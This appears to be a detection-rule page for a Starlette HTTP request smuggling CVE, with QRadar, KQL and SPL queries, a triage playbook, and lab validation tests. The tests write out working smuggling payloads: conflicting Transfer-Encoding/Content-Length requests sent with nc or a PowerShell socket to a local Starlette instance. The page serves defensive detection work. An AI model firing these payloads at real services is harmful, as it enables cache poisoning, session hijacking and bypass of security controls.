Skip to content
CVE-2026-48710 IBM QRadar · QRadar

Detect Starlette HTTP Request/Response Smuggling (CVE-2026-48710) Exploitation in IBM QRadar

Detects exploitation attempts against CVE-2026-48710, an HTTP Request/Response Smuggling vulnerability (CWE-444) in Kludex Starlette, the ASGI framework underpinning FastAPI and many Python web services. Ambiguous or conflicting message-framing headers (both Content-Length and Transfer-Encoding, duplicated Content-Length, obsolete line folding, or malformed Transfer-Encoding values) allow an attacker to desynchronize the interpretation of request boundaries between an upstream proxy/load balancer and the Starlette backend. This enables request smuggling for cache poisoning, security-control bypass, credential/session hijacking, and request queue poisoning. The vulnerability is listed in CISA KEV (BOD 26-04) as known-exploited. This detection surfaces smuggling-indicative header anomalies and framing discrepancies in web/proxy telemetry reaching Starlette/ASGI endpoints.

MITRE ATT&CK

Tactic
Initial Access Lateral Movement

QRadar Detection Query

IBM QRadar (QRadar)
sql
SELECT sourceip, destinationip, destinationport, "URL" AS url, "Request Headers" AS headers, COUNT(*) AS hits FROM events WHERE (LOWER("Request Headers") ILIKE '%transfer-encoding%' AND LOWER("Request Headers") ILIKE '%content-length%') OR LOWER("Request Headers") ILIKE '%chunked, chunked%' OR LOWER("Request Headers") ILIKE '%chunked\r\nchunked%' OR (LENGTH(LOWER("Request Headers")) - LENGTH(REPLACE(LOWER("Request Headers"), 'content-length', ''))) / 14 > 1 GROUP BY sourceip, destinationip, destinationport, url, headers LAST 24 HOURS
high severity medium confidence

QRadar AQL query flagging web events with dual TE/CL headers, duplicated Content-Length, or malformed chunked encoding directed at Starlette backends, indicating CVE-2026-48710 request smuggling.

Data Sources

Web proxy eventsWAF eventsDSM-parsed HTTP logs

Required Tables

events

False Positives & Tuning

  • Proxy DSMs that merge upstream and downstream header sets into one field
  • Authorized penetration tests using HTTP desync tooling
  • Legacy clients that always send both Content-Length and Transfer-Encoding

Other platforms for CVE-2026-48710


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 TE+CL conflicting framing request to Starlette

    Expected signal: Proxy/WAF or packet-capture log entry showing a single request with both Content-Length and Transfer-Encoding headers.

  2. Test 2 Duplicate Content-Length header

    Expected signal: Log event containing two Content-Length header occurrences for one request.

  3. Test 3 Malformed chunked Transfer-Encoding token

    Expected signal: Log entry showing a Transfer-Encoding header with a doubled/obfuscated chunked token.

  4. Test 4 HTTP desync scanner probe (Windows)

    Expected signal: Network/HTTP telemetry from the Windows host showing an outbound request with conflicting framing headers.


Response Playbook

Triage

  1. Confirm the destination host runs Starlette (or a FastAPI/ASGI app built on it) and identify the deployed version; compare against the fixed release referenced in GHSA-86qp-5c8j-p5mr.
  2. Extract the raw request headers from the alert and determine the specific framing anomaly: both Transfer-Encoding and Content-Length present, duplicated Content-Length, obsolete line folding, or malformed chunked token.
  3. Correlate the source IP across the fronting proxy/load balancer and the Starlette backend logs to determine whether the two tiers disagreed on request boundaries (a hallmark of successful desync).
  4. Check whether the smuggled request reached an authenticated or administrative endpoint, or whether cache entries were served to other clients after the event.

Containment

  1. Deploy or tighten a WAF/proxy rule that rejects any request carrying both Transfer-Encoding and Content-Length, duplicated Content-Length, or non-RFC-compliant chunked encoding, returning HTTP 400.
  2. Upgrade Starlette to the patched version across all affected services; where immediate patching is impossible, place a normalizing reverse proxy that enforces strict HTTP/1.1 framing in front of the backend.
  3. Invalidate and purge shared HTTP caches (CDN, Varnish, reverse-proxy cache) that may hold poisoned entries, and rotate session tokens for any users potentially served smuggled responses.

Evidence Collection

  1. Preserve full raw request/response captures (headers and bodies) from both the proxy and Starlette tiers for the affected time window.
  2. Export proxy, WAF, and application access logs for the source IP and destination service, plus Starlette/ASGI application logs showing request parsing.
  3. Snapshot the running Starlette service version, dependency lockfile (requirements.txt/poetry.lock), and container image digest to establish exposure.

Escalation Criteria

  • !Escalate to incident response if evidence shows a smuggled request reached an authenticated, admin, or state-changing endpoint, or if cache poisoning served attacker content to other users.
  • !Escalate if the same source or technique targets multiple internet-facing Starlette services, indicating active exploitation of the KEV-listed CVE at scale.
  • !Escalate to legal/compliance if session hijacking or credential capture against real user sessions is confirmed.

Investigation Guide

Forensic Artifacts

  • >Proxy and WAF access logs showing conflicting framing headers for a source IP
  • >Starlette/uvicorn/gunicorn application logs reflecting misparsed or split requests
  • >Shared HTTP cache entries (CDN/Varnish) with anomalous keys or bodies
  • >Packet captures demonstrating request/response boundary disagreement between tiers

Tuning Guidance

Baseline which internal clients and middleboxes legitimately emit dual framing headers and exclude them by source IP/user-agent to cut noise. Focus the highest-severity alerting on external source IPs hitting authenticated or cacheable endpoints. Where the proxy already strips or normalizes framing before the backend, move detection to the outermost tier (CDN/edge) so anomalies are observed before normalization. Suppress internal red-team and load-test ranges via allowlist rather than disabling the rule.


Hunting Queries

Retrospective hunt for co-occurring Transfer-Encoding and Content-Length headers toward Starlette services over the past 30 days, revealing prior desync probing.

Hunting — KQL
kql
CommonSecurityLog | where TimeGenerated > ago(30d) | extend H = tolower(AdditionalExtensions) | where H has "transfer-encoding" and H has "content-length" | summarize count() by SourceIP, DestinationIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
index=proxy OR index=web earliest=-30d | eval h=lower(_raw) | where match(h,"transfer-encoding") AND match(h,"content-length") | stats count by src_ip dest_ip

Atomic Red Team Tests

Test 1 TE+CL conflicting framing request to Starlette
linux

Sends a raw HTTP/1.1 request carrying both Transfer-Encoding: chunked and Content-Length headers to a lab Starlette instance to trigger framing-anomaly telemetry.

Command

bash
printf 'POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG' | nc -w2 127.0.0.1 8000

Cleanup

bash
echo 'No persistent artifacts; restart the lab Starlette service if request queue appears poisoned: pkill -f uvicorn'

Expected Telemetry

Proxy/WAF or packet-capture log entry showing a single request with both Content-Length and Transfer-Encoding headers.

Expected Detection

The kql/spl framing-conflict rule fires with Reason 'TE+CL both present'.

Test 2 Duplicate Content-Length header
linux

Issues a request with two Content-Length headers to a lab endpoint fronting Starlette to simulate duplicate-length desync.

Command

bash
printf 'GET / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 0\r\nContent-Length: 44\r\n\r\n' | nc -w2 127.0.0.1 8000

Cleanup

bash
echo 'No cleanup required; no files written.'

Expected Telemetry

Log event containing two Content-Length header occurrences for one request.

Expected Detection

Detection fires with Reason 'Duplicate Content-Length'.

Test 3 Malformed chunked Transfer-Encoding token
linux

Sends an obfuscated Transfer-Encoding value ('chunked, chunked') designed to be parsed differently by proxy and Starlette backend.

Command

bash
printf 'POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nTransfer-Encoding: chunked, chunked\r\n\r\n0\r\n\r\n' | nc -w2 127.0.0.1 8000

Cleanup

bash
echo 'No persistent artifacts to remove.'

Expected Telemetry

Log entry showing a Transfer-Encoding header with a doubled/obfuscated chunked token.

Expected Detection

Detection fires with Reason 'Malformed Transfer-Encoding'.

Test 4 HTTP desync scanner probe (Windows)
windows

Runs an HTTP desync probe from a Windows host using a raw socket PowerShell client against a lab Starlette endpoint.

Command

powershell
$c=New-Object Net.Sockets.TcpClient('127.0.0.1',8000);$s=$c.GetStream();$b=[Text.Encoding]::ASCII.GetBytes("POST / HTTP/1.1`r`nHost: 127.0.0.1`r`nContent-Length: 6`r`nTransfer-Encoding: chunked`r`n`r`n0`r`n`r`nG");$s.Write($b,0,$b.Length);Start-Sleep 2;$c.Close()

Cleanup

powershell
Remove-Variable c,s,b -ErrorAction SilentlyContinue

Expected Telemetry

Network/HTTP telemetry from the Windows host showing an outbound request with conflicting framing headers.

Expected Detection

The crowdstrike_cql / chronicle_yaral rules flag the conflicting-framing request from the source host.

Related Detections